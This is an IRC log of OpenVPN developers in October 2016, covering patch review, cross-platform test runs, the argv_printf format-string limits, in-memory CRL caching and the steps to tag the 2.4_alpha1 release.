m/c not as a VM 06:16 <@cron2> missed that, but that wasn't really what amazed me (a VM can always be down for some time) - but the ALL GREEN in plaisthos', mattock and my buildbots. That we never did before! 06:17 <@plaisthos> the random number generated decided to let ipv6 with 64 bytes through 07:02 <@dazo> plaisthos: looking at your patch again ... and I see some massive changes to read/write_tun() ... you remove the complete tt->ipv6 block ... will that really work well? 07:04 <@dazo> I would expect tt->ipv6 to be changed to tt->did_ifconfig_ipv6_setup ... which is what's done several other places ... but I'll admit, I haven't dug into why the initial tt->ipv6 block is there 07:05 <@cron2> with old linux, it depended on how you set up the tunnel in the first place, whether you need to send an extra AFI header or not 07:05 <@cron2> with new stuff, that distinction is no longer needed since "it will always work" 07:05 <@cron2> (because we kicked out the old stuff) 07:05 <@cron2> of course this will need to survive a full dual-stack t_client run :-) 07:06 <@dazo> ahh, okay .... that makes sense 07:06 <@dazo> I'll do a build and run make check and see how it explodes :) 07:06 <@dazo> Should the server side of this be tested too? 07:07 <@dazo> we should have a test server which rebuilds git master regularly, which is implemented in t_client.sh 07:08 <@dazo> danhunsaker: ^^^ would you happen to have a few spare cycles to look at that? 07:10 <@cron2> dazo: I have a server that gets rebuild daily and then goes off and fires off t_client tests to itself with 2.2, 2.3, master and master+mbedtls clients 07:10 <@cron2> this is the one that explodes if plaisthos or syzzer break --inetd again :-) 07:10 <@dazo> good! 07:11 <@cron2> this particular patch should not break the server side any differently than the client side, as "tun handling" is not different (*route* handling can be) 07:11 <@dazo> yeah 07:19 <@dazo> There is something funky with test case 4 though .... 07:19 <@dazo> 14:14:52.091925 IP 10.194.0.1 > 10.194.5.14: ICMP echo reply, id 12842, seq 37, length 1448 07:19 <@dazo> 14:14:52.162122 IP 10.194.5.14 > 10.194.5.1: ICMP echo request, id 12842, seq 38, length 1448 07:19 <@dazo> 14:14:52.187983 IP 10.194.5.14 > 10.194.0.1: ICMP echo request, id 12842, seq 39, length 1448 07:19 <@dazo> 14:14:52.316380 IP 10.194.5.1 > 10.194.5.14: ICMP echo reply, id 12842, seq 38, length 1448 07:19 <@dazo> 14:14:52.345573 IP 10.194.0.1 > 10.194.5.14: ICMP echo reply, id 12842, seq 39, length 1448 07:19 <@dazo> 14:14:52.347291 IP 10.194.5.14 > 10.194.5.1: ICMP echo request, id 12868, seq 0, length 1480 07:19 <@dazo> 14:14:52.347296 IP 10.194.5.14 > 10.194.5.1: ip-proto-1 07:19 <@dazo> 14:14:52.347298 IP 10.194.5.14 > 10.194.5.1: ip-proto-1 07:19 <@dazo> 14:14:52.372441 IP 10.194.5.14 > 10.194.0.1: ICMP echo request, id 12868, seq 1, length 1480 07:19 <@dazo> 14:14:52.372448 IP 10.194.5.14 > 10.194.0.1: ip-proto-1 07:19 <@dazo> 14:14:52.372449 IP 10.194.5.14 > 10.194.0.1: ip-proto-1 07:19 <@dazo> 14:14:52.502295 IP 10.194.5.1 > 10.194.5.14: ICMP echo reply, id 12868, seq 0, length 1480 07:19 <@dazo> 14:14:52.502310 IP 10.194.5.1 > 10.194.5.14: ip-proto-1 07:19 <@dazo> 14:14:52.502316 IP 10.194.5.1 > 10.194.5.14: ip-proto-1 07:19 <@dazo> whoops ... sorry about that 07:19 <@dazo> that was a few more lines than I wanted 07:20 <@dazo> cron2: have you seen this before? 07:20 <@dazo> smells like some fragmenting going bad 07:22 <@dazo> I actually see this on some of the tun tests as well 07:23 <@cron2> this looks more like "tcpdump printing this in funny ways" 07:23 <@cron2> it supposed to fragment, a 3000 byte packet won't fit a 1500 byte tun - so you'd see 3 fragments 07:24 <@cron2> (... per 3000 byte ping, 3 going out, 3 coming back) 07:24 <@cron2> the fragments do not carry the ICMP header, so tcpdump can't tell "hey, this is a ping packet" 07:24 <@dazo> ahh, okay 07:25 <@cron2> tcpdump -v should show "this is a fragment, start offset = 1400, length = ..." or suchlike 07:25 <@dazo> I'll rerun the test and confirm 07:27 <@dazo> yes, the offset value is > 0 on those related to ip-proto-1 07:28 <@dazo> okay, so plaisthos's tun-ipv6 patches passes all tests successfully 07:28 <@cron2> good :) (I'll need to test on NetBSD as that also has platform specific changes) 07:29 <@dazo> that'd be great ... I can prepare to push things out if you'll get a chance to check out NetBSD 07:30 * cron2 feels hurried 07:33 <@dazo> I'll keep in my private "to be pushed" branch ,-) 07:33 <@cron2> Applying: Remove tun-ipv6 Option. Instead assume that IPv6 is always supported. 07:34 <@cron2> (this is on NetBSD 5.1 - if that works, the buildslave gets to test 7.0.1) 07:35 <@cron2> ../../../openvpn/src/openvpn/console.h:97: undefined reference to `query_user_exec_builtin' 07:35 <@cron2> mmmh 07:37 <@cron2> needed a configure re-run, which it normally does automatically... strange beast 07:37 <@cron2> ### test run 1: 'tcp / p2pm / top net30' ### 07:37 * dazo adds Signed-off-by on behalf of plaisthos 07:38 <@dazo> yeah ... that should work 07:38 <@cron2> it's definitely not totally broken :) - test 1 was survived 07:38 <@dazo> :) 07:45 <@dazo> cron2: I'm ready to ACK and push this one ... do you need more time for testing? 07:46 <@cron2> always so hurried... 07:46 <@cron2> just sent an ACK to the list, had to check first why 2a was failing - but that's --multihome on IPv4, which NetBSD does not *do*. Known issue, shouldn't have run that thest. 07:48 <@cron2> there it is 07:49 <@ecrist> mattock: postfix/smtp[37161]: connect to archive.openvpn.net[2400:cb00:2048:1::6814:56f5]:25: Operation timed out 07:49 <@dazo> Wonderful! :) 07:49 <@ecrist> :( 07:50 * dazo pushes 07:51 <@cron2> now you've forgot to record my ACK... 07:51 * cron2 pouts 07:52 <@dazo> nope :) 07:52 <@cron2> \o/ rejoice 07:52 <@dazo> But you made me doublecheck! 07:52 <@cron2> srry.. it IS friday, after all 07:53 <@dazo> yeah ... and I'm still not fully awake ;-) 07:54 <@dazo> Now ... what else can I break .... ;-) 07:55 * dazo pokes at trac tickets 07:55 <@vpnHelper> RSS Update - gitrepo: Remove tun-ipv6 Option. Instead assume that IPv6 is always supported. <https://github.com/OpenVPN/openvpn/commit/86e2fa5597fd1ad8e0102f134c63d6bc8cb7c291> 07:56 <@cron2> if you feel bored, you could have a look at Heiko's windows patch, with my amendment 07:57 <@dazo> eeek 07:57 <@cron2> I cannot ACK that since I changed code - but we have test reports that it seems to work, and it lays the groundwork to get rid of the IFCONFIG_BEFORE_TUN_OPEN mess 07:57 <@cron2> lol 07:57 <@cron2> ok, so maybe I can talk plaisthos into that... :) 07:57 <@dazo> I can have a look ... but I'm not really comfortable with the Windows code paths .... depends on what is being changed 07:58 <@cron2> windows (+android) have a different initialization sequence than all the other OSes, leading to funny things due to "stuff not as we'd expect it to be" 07:59 <@cron2> d12fk removed the windows exception, and moved around a bit of code to compensate for that 07:59 <@cron2> (and broke stuff because argv_printf() is not a full printf replacement) - I tracked that down and fixed it 07:59 <@dazo> right 08:00 <@dazo> gee we have a verify_255_255_255_252() function!?! :-P 08:00 <@cron2> I intend to completely rip out the oddball code path soon after :-) - but that will break Android, so I need to un-break this in a way that doesn't impact the rest of the code 08:25 <@dazo> cron2: just looking at the difference between Heiko's and yours patch .... do you recall why %d or %u won't work? is it due to the = character in the string? 08:25 <@dazo> (format string, that is) 08:26 <@cron2> argv_printf() is not a full printf, see my comment from 14:55 :) 08:27 <@dazo> yeah, I know that ... which is why %lu won't work ... just wondering if you tried %d or %u 08:27 <@cron2> it splits the string at whitespace into argv[] bits, and then parses these for a few "things that openvpn needs" (like, %s, %s%sc, ...), grabbing elements from the va_list as it goes 08:27 <@cron2> I have not investigated whether it can do "something=%..." at all, with "%..." not being the first element in the string 08:28 <@cron2> so interface=%d or interface=%u might work, after all 08:29 <@cron2> Lev__ ran into this (which is where the interface=%lu came from in the first place) and he said "it is not supported", so I never looked what exactly "it" is 08:29 <@dazo> that would be interesting to have tested ... as that avoids code duplication .... the code block for %u and %d looks fairly similar to your openvpn_sprintf() calls 08:29 <@dazo> else if (!strcmp (term, "%u")) 08:29 <@dazo> { 08:29 <@dazo> char numstr[64]; 08:29 <@dazo> openvpn_snprintf (numstr, sizeof (numstr), "%u", va_arg (arglist, unsigned int)); 08:29 <@dazo> argv_append (a, string_alloc (numstr, NULL)); 08:29 <@dazo> argv_system_str_append (a, numstr, false); 08:29 <@dazo> } 08:29 <@cron2> well, but will that handle "something=%u"? 08:29 <@cron2> or only "%u" 08:29 <@dazo> yeah, exactly :) 08:30 <@dazo> hence my question if you tested that ;-) 08:30 <@cron2> no 08:30 <@plaisthos> verify_255_255_255_252? 08:30 <@plaisthos> at least verify_net30 would have been nice :P 08:30 <@dazo> yeah ... tun.c is full of surprises ;-) 08:30 <@dazo> heh, actually a far better name, yes :) 08:30 <@cron2> my brain itched enough after single-stepping-on-windows-by-adding-msg() this... 08:33 <@dazo> I'll rip out the important code pieces to run some out-of-scope tests on argv_printf() to test this. 08:46 <@dazo> geee %sc seems to process and parse the input as a configuration option 08:49 <@cron2> wut? 08:50 <@cron2> wtf is ipchange_fmt() (which is calling this) 08:50 <@cron2> ah 08:51 <@cron2> dazo: I think it's using the parse_line() bit as "split this according to quoting" 08:51 <@cron2> so it could end up being just a single argv[] entry, or multiple, even with blanks in them if quoted 08:51 <@cron2> maaagick 08:52 <@dazo> yeah 08:52 <@cron2> ok, fetching kids... 08:54 < Thermi> $ git fetch origin/kids 08:54 < Thermi> Sorry. 08:54 * dazo believes james re-implemented glibc into {buffer,misc}.[ch] 08:56 <@d12fk> dazo, cron2: i'm about to fix argv_printf are you guys working on misc as well? 08:56 <@cron2> dazo: nah, only the good bits that C really should have had in the first place :-) 08:56 * cron2 goes to Kindergarten now, dazo is hacking on it 08:57 <@d12fk> so dazo you taking care of it already? 08:57 <@dazo> d12fk: I'm just trying to review yours and cron2's patch ... and wondered if %d or %u would work instead of %lu 08:58 <@d12fk> no the prob was that argv_printf only picks up the % thingies if they stand alone 08:58 <@dazo> right now I realize I need to rebuild misc.c and buffer.c to be able to build a simple test case without pulling in the complete openvpn code base 08:58 <@d12fk> so %lu would have worked if there was support added, but interface=%lu never 08:58 <@dazo> right ... rather if "interface=%d" would work (or %u) 08:58 <@d12fk> going to makeit work 08:58 <@dazo> :) 08:59 <@d12fk> will probably send a patch early next week 08:59 <@dazo> ahh, great! 09:00 <@dazo> I've already come quite far I believe (only 10 more compile errors to get rid off ... out of a few thousands or so) ... so I'll give you an indication of what works at least 09:00 <@d12fk> argv_printf as it is now is a trap 09:00 <@dazo> yupp 09:02 <@plaisthos> :) 09:04 <@d12fk> this: https://imgflip.com/i/1cc6co 09:05 <@d12fk> akbar knew it 09:10 <@dazo> hahaha ... yeah! 09:10 <@dazo> Okay, interface=%d or interface=%u will *NOT* work .... it falls through to ASSERT(0) 09:11 <@dazo> 'interface %d' and 'interface %u' will be processed somewhat more sane 09:11 <@d12fk> actually its (not) handled in the else branch one level up, just getting appended without processing the % 09:13 <@dazo> I seem to hit the ASSERT(0) in misc.c:1956 09:14 <@dazo> oh ... right, that was my %lu test 09:14 <@d12fk> term[0] == '%' won't apply for interface=... 09:14 <@dazo> yeah 09:14 * dazo got confused 09:14 <@d12fk> fixing while we write 09:15 <@dazo> I'll give you much more time to fix this .... I'm sure there are some more hidden traps here 09:16 <@d12fk> is there a "replace one char by another" function in the source code already somewhere? 09:17 * plaisthos bets for strchr + buf[result]=newchar 09:20 <@dazo> not which I can recall right now 09:22 <@d12fk> string_mod seem to be a candidate 09:24 <@dazo> yeah ... as I said earlier, there's a complete glibc inside {misc,buffer}.[ch] 09:24 <@d12fk> string_replace_leading is even better suited since less complex 09:25 <@d12fk> ah no that one only replaces the first one 09:26 <@d12fk> *ones 09:26 * cron2 wonders how to test d12fk's argv_printf() rewrite to ensure it will never change existing cases 09:26 <@cron2> like, %sc with quotes and such 09:26 <@d12fk> i'll manage 09:26 * dazo need to run ... will be back later in the evening 09:26 <@cron2> this is why I want the test coverage :) 09:26 <@d12fk> maybe i'll get rid of %sc altogether 09:53 <@mattock> ah, automated testing of openvpn on windows using cmd.exe, openvpn-gui, and openvpnserv2: https://github.com/mattock/openvpn-windows-test 09:53 <@vpnHelper> Title: GitHub - mattock/openvpn-windows-test: Powershells scripts for automating testing of OpenVPN on Windows (at github.com) 09:54 <@mattock> saves quite a bit of time - just ran through all the VPN servers I had at my disposal 09:54 <@mattock> brutal, but effective 11:17 <@cron2> cool 11:18 <@cron2> I won't claim that my run.bat script was anything but brutal, but still, helped make things a bit more reproduceable :) 11:37 * danhunsaker wakes up. 11:37 < danhunsaker> dazo: Not sure I follow, nor if it's actually needed, given cron2's response immediately following.... 12:29 <@cron2> what? 12:54 < danhunsaker> He asked me to spare a few cycles to work on something, but I'm not entirely sure what... 12:55 < danhunsaker> And then you stated you already have an auto-build server that runs tests against itself, which may meet his request already, so I dunno if I actually need to do anything in the first place. 13:18 <@cron2> ah, that. 13:18 <@cron2> dazo said lots of things today :) 13:25 < danhunsaker> Fair. 13:25 < danhunsaker> Pages and pages of talking. 13:31 <@dazo> danhunsaker: yeah, I was not aware of cron2's automagic server tests 13:31 <@dazo> for now that'll work out 13:32 < danhunsaker> K. I'll safely ignore the rest, then. :D 13:32 <@dazo> but ... if you still have some spare cycles to look at how we can improve our test suite, that'd be great though .... would be great to be able to kick off a broader set of tests without having to push to public git trees .... the "weakness" t_client.sh have is that it is primarily testing the client side 13:34 <@cron2> right. server side testing is much harder, as you need a dedicated client (that is not busy testing other people's server) - so maybe something spinning up VMs (or linux network namespaces) on-demand would be a solution for that 13:34 <@cron2> mattock was talking about vagrant being "the" tool for that... it would be more heavyweight than t_client, but you can cover more 13:34 <@cron2> (half the issue would then be, of course, to decide on server*s* to set up to test a reasonably broad coverage... single server won't do) 13:34 <@dazo> yeah 13:39 < danhunsaker> That's part of why I'm using a full Proxmox install to test OAS. 13:39 < danhunsaker> With, yes, Vagrant and Ansible. --- Log closed Fri Oct 14 13:47:30 2016 --- Log opened Fri Oct 14 14:06:00 2016 14:06 -!- Irssi: #openvpn-devel: Total of 23 nicks [7 ops, 0 halfops, 1 voices, 15 normal] 14:06 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 14:06 -!- Irssi: Join to #openvpn-devel was synced in 5 secs 14:32 <@dazo> syzzer: regarding patch 5/5 ... due to the auth_generate_token -> auth_token_generate change in patch 2/5, patch 5/5 also needs an update too. I have it ready, but thought I would wait for your review before sending it to the ML ... in case there are a few other things you want to have improved 14:32 * dazo will fix the 80 chars lines before you'll comment it even :) --- Log closed Sat Oct 15 03:27:24 2016 --- Log opened Sun Oct 16 18:04:14 2016 18:04 -!- Irssi: #openvpn-devel: Total of 27 nicks [7 ops, 0 halfops, 1 voices, 19 normal] 18:04 -!- mode/#openvpn-devel [+o ecrist_] by ChanServ 18:04 -!- Irssi: Join to #openvpn-devel was synced in 9 secs 21:14 < ordex> cron2: how can i subscribe to the ml ? 21:14 < ordex> cron2: is it open for non subscribed to post ? --- Day changed Mon Oct 17 2016 00:48 <@mattock> ordex: you need to be subscribed to post to openvpn-users/-devel 00:48 <@mattock> subscribe here: https://sourceforge.net/p/openvpn/mailman/?source=navbar 00:48 <@vpnHelper> Title: OpenVPN / Mailing Lists (at sourceforge.net) 00:48 < ordex> thanks mattock 01:06 < ordex> mattock: cron2: any way to generate a large CRL file without going through generation and revokation of actual certificates? I'd like to test a performance improvement on loading the CRL and I'd need it to be quite big 01:06 < ordex> but generating and revoking certs takes too long .. 01:06 < ordex> maybe I can just add R entries in the index.txt file ? 01:06 < ordex> would that work ? 01:07 < ordex> (and regenerate the CRL of course) 01:19 < ordex> maybe that works .. 01:36 <@mattock> ok, so 2.4-alpha1 01:55 <@cron2> waiting for an ACK on d12fk-patch-v2 (I can't ACK my own code), or dazo/d12fk come back with a v3 that fixes argv_printf() instead... 02:13 <@mattock> ok 02:13 <@mattock> I will extend Windows tests (openvpnserv2 in particular) today 02:14 <@mattock> we're looking quite good though: 02:14 <@mattock> https://community.openvpn.net/openvpn/wiki/WindowsTesting 02:14 <@mattock> https://community.openvpn.net/openvpn/wiki/OpenVPN24WindowsTests 02:14 <@vpnHelper> Title: WindowsTesting – OpenVPN Community (at community.openvpn.net) 02:14 <@vpnHelper> Title: OpenVPN24WindowsTests – OpenVPN Community (at community.openvpn.net) 02:15 <@mattock> there has been quite high interest in the 2.4-alpha1 Windows installer judging from the number of "external" testers (six and counting) 02:23 <@cron2> yep, the amount of positive feedback is making me quite happy :-) 02:23 <@cron2> a) testing! and b) "it works"! 02:43 <@mattock> moritz (latest reporter) claimed that auth-user-pass <file> does not work, but I think that's a false positive 02:44 <@mattock> several of my test VPN configurations had auth-user-pass <file> enabled 02:45 <@mattock> my plan is to add "kill openvpn forcibly while running under openvpnserv2, then see if it reconnects" to openvpnserv2 test suite 02:47 <@mattock> plus add connection profiles for t_client test servers 03:17 <@cron2> sounds great 03:18 <@cron2> as for the auth-user-pass thing - well, this might warrant re-testing, as that bit of code got changed just last week 03:18 <@cron2> (dazo's patchset) 03:18 <@cron2> maybe it was a pilot error, but maybe it's a new corner-case we're hitting 03:26 <@mattock> yeah 03:27 <@mattock> I'll also produce new installers, because openvpn.nsi has been modified slightly to hide the sc.exe's too verbose output 03:27 <@mattock> "looks like an error" 03:27 <@mattock> besides the d12fk patch fixed by cron2, are there any external patches that need to get in? 03:27 <@mattock> into the new test installer 03:28 <@cron2> don't think so 03:32 <@mattock> ok 03:34 <@mattock> openvpnserv2 respawn tests running... 03:34 <@mattock> "connect -> ping -> kill openvpn.exe [-> let openvpnserv2 respawn openvpn] -> ping -> disconnect 03:45 <@mattock> actually, I built the installers on Friday it seems: http://build.openvpn.net/downloads/snapshots/openvpn-install-2.3_git-I605-do-ifconfig-after-tun-v2-sc-exe-x86_64.exe 04:16 < ordex> !meetings 04:16 <@vpnHelper> "meetings" is (#1) OpenVPN developers meetings are usually held on Mondays @ 18:00 UTC. Ask mattock, cron2 or dazo for latest info. Meetings are normally announced in advance on the openvpn-devel mailing list, or (#2) Meeting agendas and minutes are here: https://community.openvpn.net/openvpn/wiki/IrcMeetings 04:38 <@mattock> regarding meetings: do we want to arrange one today? 04:38 <@mattock> I will be able to add tclient tests to my powershell script, just got test 1 finished 04:40 <@cron2> I'm neutral here - I have nothing to say, and I'm ready to go forward with 2.4_alpha1 as soon as "something happens" with the d12fk patch... 04:43 <@d12fk> well I could ack it if it's just that. the beforementioned v3 is rather a patch(set) of ots own 04:43 <@d12fk> ...and we sholdn't wait for it since it is not targeted at 2.4 04:55 <@cron2> oh, there. Cool. Will merge ASAP 05:37 <@vpnHelper> RSS Update - gitrepo: Windows: do_ifconfig() after open_tun() <https://github.com/OpenVPN/openvpn/commit/533495298bd93ddaaf4418dc666922779ce5ef9b> 06:03 <@mattock> so here we have 2.4-alpha1 06:03 <@mattock> so the indentation fix will go into 2.4.0? 06:04 <@mattock> I mean: fixing indentation 06:09 <@cron2> this needs proper version.m4 stuffing now 06:09 <@cron2> dazo: are you around? 06:10 <@cron2> I assume I need to change PRODUCT_VERSION_MINOR, PRODUCT_VERSION_PATCH and PRODUCT_VERSION_RESOURCE? 06:11 <@cron2> and then tag this as 2.4_alpha1 06:12 <@plaisthos> alpha1 and with that we mean rc1 :) 06:12 <@plaisthos> *ducks* 06:13 <@plaisthos> or stable depending on the project 06:13 <@cron2> what do you mean, candidate? we just ship it and go on vacation 06:13 <@plaisthos> You installed a .0 version and expected to work? 06:13 <@plaisthos> have learned nothing? 06:13 <@plaisthos> :) 06:18 <@cron2> plaisthos: your random generator hit 4a again :) 06:26 <@plaisthos> damn it 06:26 <@plaisthos> I should write a tap over tun emulation 06:26 <@plaisthos> that feels like less work than you figure out the timing/cause of that random number generator 06:43 <@cron2> git shortlog v2.3.0..HEAD 06:43 <@cron2> Arne Schwabe (100): 06:43 <@cron2> David Sommerseth (44): 06:43 <@cron2> Gert Doering (110): 06:43 <@cron2> James Yonan (14): 06:43 <@cron2> Lev Stipakov (26): 06:43 <@cron2> Samuli Seppänen (15): 06:43 <@cron2> Selva Nair (26): 06:43 <@cron2> Steffan Karger (180): 06:44 <@cron2> some of this is not surprising, but to see Lev having more commits than James is funny :) 06:44 <@cron2> (and that I beat plaisthos by a small margin... huh.) 06:45 <@cron2> but it's very obvious who breaks things the most... 06:52 <@mattock> cron2: did I send a patch that removes INSTALL-win32.txt? 06:53 <@mattock> the plan was to remove it and add it to OpenVPN Windows installers from openvpn-build/windows-nsis/openvpn.nsi 06:53 <@mattock> the file needs a refresh anyways 06:56 <@mattock> tclient test integrated to openvpn-windows-test locally and work fine 06:56 <@mattock> I'll add ping6 tests next 06:58 <@cron2> mattock: if it's still there, I assume "no", or nobody ACKed it 06:58 <@cron2> it's still there :) 07:07 <@plaisthos> my app is broken: A user claims he has setup his server without certificate but with user/password and my stupid app does not support that 07:07 <@plaisthos> cron2: damn are that many commits by me 07:09 <@plaisthos> OpenVPN 2.4: Codename Steffan's OpenVPN 07:09 <@mattock> "Fox-IT conspiracy OpenVPN" 07:09 < Thermi> I always knew openvpn is not to be trusted 07:10 <@cron2> I know who sent in 110 patches, and that guy very fat fingers... 07:10 <@cron2> "has", even :) 07:12 <@mattock> in any case the damn europeans have taken OpenVPN hostage 07:12 <@mattock> :P 07:12 < Thermi> EuroVPN 07:14 <@plaisthos> with a slight Russian touch 07:32 -!- You're now known as ecrist 07:54 <@dazo> cron2: I'm around now 08:05 <@dazo> This gives an interesting view .... $ git shortlog v2.1.0..HEAD | grep -E '\([[:digit:]]+\):$' | sort -t \( -k 2 -n -r | head -n 15 08:05 <@dazo> (that covers basically contributions since this community started to grow) 08:06 <@dazo> there are currently 12 very active developers .... and it drops quickly after that when it comes to commitment ... as there are 101 contributors listed (might be a few duplicates) 08:07 <@cron2> whee 08:07 * cron2 likes that result better than "v2.3.0..HEAD" :-) 08:07 <@dazo> hehehe 08:07 <@cron2> (and how did you make it a *tie*???) 08:08 <@dazo> My number is too high, and Adrians too low ... As some of his Doxygen patches got my Author tag due to an error during the commit process 08:10 <@cron2> aha, an "error" :) 08:10 <@cron2> anyway 08:10 <@cron2> version.m4, tagging, ...? 08:10 <@dazo> version.m4, tagging, autoreconf (just in case), configure, make distcheck 08:10 <@dazo> iirc 08:11 <@dazo> it's a long time since I did this last time :) 08:11 <@dazo> We need to release more often so we'll remember! ;-) 08:13 <@dazo> I don't think we should fork out a 2.4 branch just yet ... and we should discuss if we want to do that for beta or rc 08:13 * dazo leans toward rc in this round 08:17 <@cron2> rc or 2.4.0 08:17 <@cron2> (and you forgot ChangeLog :) ) 08:17 <@dazo> Ahh, right! 08:17 <@cron2> so, shall I give it a go? 08:18 <@dazo> yeah, that'd be good! 08:18 <@dazo> I need to run out very soon to fetch some food and hit for the kindergarten 08:18 * cron2 needs to run in 30 minutes :) 08:19 <@dazo> I'll be working a bit in the evening ... (after 20:00, when kid->sleep(now) have returned successfully) 08:19 <@dazo> (it's an async process!) 08:19 <@plaisthos> my version already announces itself as 2.4-icsopenvpn on the phone 08:19 <@cron2> yeah, I know... "kickoff()... wait()" 08:20 <@plaisthos> should probably named that 2.4-git-prelease-icsopenvpn or so 08:21 < ordex> does openvpn support reloading some settings without killing the tunnels ? because I see that both HUP and USR1 restart the connectiona with the clients 08:21 <@mattock> cron2: would you expect "ping fd00:abcd:194:0::1" to fail on Windows (for t_client tests)? 08:22 <@mattock> it seems that "ping fd00:abcd:194:x::1" (where x is between 1-6) works, but x=0 only works for t_client test 1 08:22 <@cron2> it should work, for all clients - if not, routing is not setup properly 08:22 <@plaisthos> ordex: other than using connect-client script I think not 08:23 <@mattock> cron2: ok, then there is something funky going on 08:23 <@cron2> mattock: this is why I ping :0::1 as well - that's an IP on the server's loopback, which only works if routes can be added correctly 08:23 < ordex> plaisthos: mh .. ok .. maybe USR2 could be used for that :P 08:23 <@cron2> (but there should be no difference between test 1, 2, 3 here...) 08:23 <@mattock> cron2: I'll check if I can succesfully ping the :0::1 after a reboot 08:24 <@cron2> ordex: I'm not sure if our internal data structures will survive a config reload without a full restart 08:24 <@plaisthos> ordex: feel free to figure out all the state and submit patches :) 08:24 <@cron2> there is magic nested in heaped magic 08:24 < ordex> cron2: plaisthos: I was planning to have only a subset of settings to be reloaded on USR2 08:24 < ordex> not *everything* :D 08:25 <@plaisthos> ordex: like what? 08:25 < ordex> actually, it is about a new object that I am introducing right now. I'd like to refresh its content (reading from file) upon USR2 without reloading everything 08:25 < ordex> so the "settings" is limited to this object as of now :) 08:25 <@plaisthos> you could be a bit more specific 08:25 <@plaisthos> so we might help you 08:25 < ordex> yep, sorry 08:25 <@plaisthos> object is a bit vague :p 08:26 < ordex> I am working on loading the CRL in mmeory to avoid long connection delays when a client comes in 08:26 < ordex> *memory 08:26 < ordex> but I also need a way to refresh the CRL whenever there is a new CRL to read 08:26 < ordex> refresh the in-mmeory-CRL* 08:27 < ordex> now this comes for free, because the CRL file is opened for every new connection 08:27 < ordex> but if I store the content in memory, I need a way to tell openvpn to refresh it every now and then 08:27 < ordex> possibly without killing anybody 08:27 < ordex> not sure if it makes sense (?) 08:27 <@cron2> stat() it when verifying, and if mtime has changed, reload? 08:27 <@cron2> (or when idle) 08:27 < ordex> when idle ? 08:28 <@cron2> have a coarse timer that stats() every 5 minutes or so... 08:28 < ordex> do we already have a sleep/pselect that I can re-use ? 08:28 < ordex> or do I need to create the timer myself ? 08:28 <@cron2> we have heaps of timers :) 08:29 < ordex> :D 08:29 <@cron2> anything you could ask for... (have we ever merged lev__'s inotify patch?) 08:29 < ordex> mh inotify might be handy 08:30 < ordex> any drawback in using the USR2 approach ? 08:30 < ordex> other than consuming the last remaining USR signal 08:30 < ordex> :p 08:30 <@cron2> well, this 08:30 <@plaisthos> so currently we are reading the CRL on every connect and you want to implement in memory chaching, right? 08:31 < ordex> correct 08:31 < ordex> right now I stored it in c1 08:31 <@plaisthos> is the loading the crl really a major time factor? 08:31 < ordex> (I hope this is "a good place") 08:31 <@plaisthos> or is your crl just huge? 08:31 < ordex> the latter 08:32 <@plaisthos> since crl loading is synchronous anyway why not just to a stat on the client connect and reload if it has changed? 08:32 < ordex> this means that a client will hit the time delay 08:32 <@plaisthos> yes 08:32 <@plaisthos> so? 08:33 < ordex> why not doing it asynchronously with a signal then? :) 08:33 < ordex> well, if I can avoid the delay to every client, I'd be happier 08:33 < ordex> it's just a design decision after all, it does not mean we can't do it,no ? 08:33 <@plaisthos> ordex: loading in in a 5 minute interval will also stall all traffic while the crl is loaded 08:33 <@plaisthos> openvpn is signle thread 08:33 < ordex> stall the traffic ? 08:34 < ordex> is the interface entirely handled in userspace? 08:34 <@plaisthos> yes 08:34 < ordex> oh 08:34 < ordex> didn't know that 08:34 < ordex> so every time we are busy authenticating a client, we are not forwarding/processing traffic ? 08:34 <@cron2> OpenVPN 2.4_alpha1 [git:master/a6479b4814d38d30+] x86_64-unknown-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [MH/PKTINFO] [IPv6] built on Oct 17 2016 08:34 <@plaisthos> ordex: yes 08:34 <@cron2> yeee-ha! 08:35 < ordex> plaisthos: oh didn't know that 08:35 < ordex> wow, didn't kno about this "detail" :D 08:35 < ordex> thanks for clarifying :) 08:35 < Thermi> openvpn 3 is multi threated? 08:35 < Thermi> *threaded 08:35 <@mattock> cron2: I was unable to manually reproduce the issue, so I assume that forcibly killing openvpn.exe before running the next test is the culprit 08:36 <@cron2> mattock: "die hard!" kill (equivalent of "kill -9" on unix) will indeed be a problem, as it won't remove the routes it has installed 08:36 <@cron2> and on next run, the gateway installed previously is no longer "on tap" (different network), and the new route cannot be added as there already is one... 08:36 <@mattock> any suggestions on how to cleanly kill openvpn.exe on Windows? 08:36 <@mattock> automatically I mean 08:37 < Thermi> cron2: openvpn is running route add commands as "ip route add"? 08:37 <@plaisthos> Thermi: yes 08:37 < Thermi> plaisthos: cron2 use ip route replace instead 08:37 <@cron2> Thermi: more like "netsh.exe route add" in *that* scenario (when run from service) 08:37 < Thermi> cron2: Ah, okay. Alright, got it. 08:37 <@plaisthos> Thermi: but it has no published server 08:37 <@cron2> we're not talking linux :) 08:37 < Thermi> got that after your answer. :P 08:37 < Thermi> Maybe netsh has a similiar command 08:37 <@plaisthos> ordex: there however an async client auth plugin api for that 08:37 <@plaisthos> ordex: that I have no idea how to use 08:38 <@cron2> if the iservice is used, it takes care to clean up after openvpn crashed (and uses the API calls, not netsh.exe) 08:38 <@cron2> "crashed" or "was killed by a mean mattock"... 08:38 < ordex> plaisthos: mh ok. I can have a look.. 08:39 < ordex> plaisthos: basically what we are saying also means that a client with a revoked certificate may stall an openvpn server 08:39 <@vpnHelper> RSS Update - gitrepo: Preparing for release v2.4_alpha1 (ChangeLog, version.m4) <https://github.com/OpenVPN/openvpn/commit/a6479b4814d38d3003b1f5ea4b041f6c72785851> 08:39 <@mattock> hmm, I will openvpn-gui tests 08:39 < ordex> by simply continuosly trying to re-authenticate 08:39 < ordex> and with a huge CRL list, the server will just be busy reloading every time 08:39 <@mattock> plus openvpnserv2 tests 08:39 < Thermi> DOS VULN 08:39 < Thermi> CVE CVE CVE CVE 08:39 <@mattock> the ping failures so far have been from cmd.exe 08:39 < Thermi> OPENVPN IS BROKEN!!!111 08:40 < Thermi> Just abolish 2.x and continue with 3.x .P 08:40 < ordex> I don't have ovpn 3 in my remote branches from github 08:40 <@plaisthos> ordex: completely different codebase 08:40 <@mattock> different repo 08:40 <@plaisthos> ordex: just speaks the same proto 08:40 < ordex> oh ok 08:40 <@cron2> oh, now I know why I have so many commits... 08:41 < ordex> is it due at some point ithe future ? or just WIP for now ? 08:41 < ordex> *in the 08:41 <@cron2> dazo let me do all the "please do a release" things :-) - that's 12 commits alone for 2.3.x 08:41 <@plaisthos> ordex: used in OpenVPN Corps products 08:41 <@mattock> openvpn 3 is client-side right now 08:41 <@plaisthos> ordex: official source code release just one 